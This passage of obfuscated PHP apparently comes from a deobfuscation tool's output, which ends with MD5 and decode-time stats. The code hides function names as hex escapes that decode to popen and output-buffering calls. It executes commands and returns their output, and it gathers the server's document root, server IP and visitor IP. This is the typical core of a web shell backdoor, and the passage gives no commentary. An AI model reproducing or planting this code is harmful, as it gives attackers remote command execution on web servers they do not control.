"\x6f\x62\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"
);
$call_function(
false,
"\x6f\x62\x5f\x67\x65\x74\x5f\x63\x6c\x65\x61\x6e"
);
if (!empty($oOo00)) {
return $oOo00;
}
} elseif (
($oOOoo = $call_function(
false,
"\x70\x6f\x70\x65\x6e",
$oOo0O . " 2>&1",
"r"
)) !== null &&
$oOOoo !== false &&
is_resource($oOOoo)
) {
$oOo00 = "";
while (!feof($oOOoo)) {
$oOo00 .= utf8_encode(fread($oOOoo, 2096));
}
pclose($oOOoo);
if (!empty($oOo00)) {
return $oOo00;
}
}
return null;
});
$create_function("III11", function () use ($localvar, $call_function) {
if (strlen($_SERVER["DOCUMENT_ROOT"])) {
return $_SERVER["DOCUMENT_ROOT"];
} elseif (
strlen($_SERVER["SCRIPT_FILENAME"]) &&
strlen($_SERVER["SCRIPT_NAME"])
) {
return substr(
$_SERVER["SCRIPT_FILENAME"],
0,
-strlen($_SERVER["SCRIPT_NAME"])
);
} elseif (strlen($_SERVER["PWD"])) {
return $_SERVER["PWD"];
}
return "\x2e\x2f";
});
$create_function("IIlII", function () use ($localvar, $call_function) {
if (isset($_SERVER["SERVER_ADDR"])) {
return $_SERVER["SERVER_ADDR"];
} elseif (isset($_SERVER["LOCAL_ADDR"])) {
return $_SERVER["LOCAL_ADDR"];
}
return null;
});
$create_function("IIlIl", function () use ($localvar, $call_function) {
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
return $_SERVER["HTTP_CF_CONNECTING_IP"];
} elseif (isset($_SERVER["REMOTE_ADDR"])) {
return $_SERVER["REMOTE_ADDR"];
}
return null;
});
$call_function(true, "IIl");
});
Function Calls
None |
Stats
MD5 | b76985e91d14d6fb0005ca4f4ca16551 |
Eval Count | 0 |
Decode Time | 90 ms |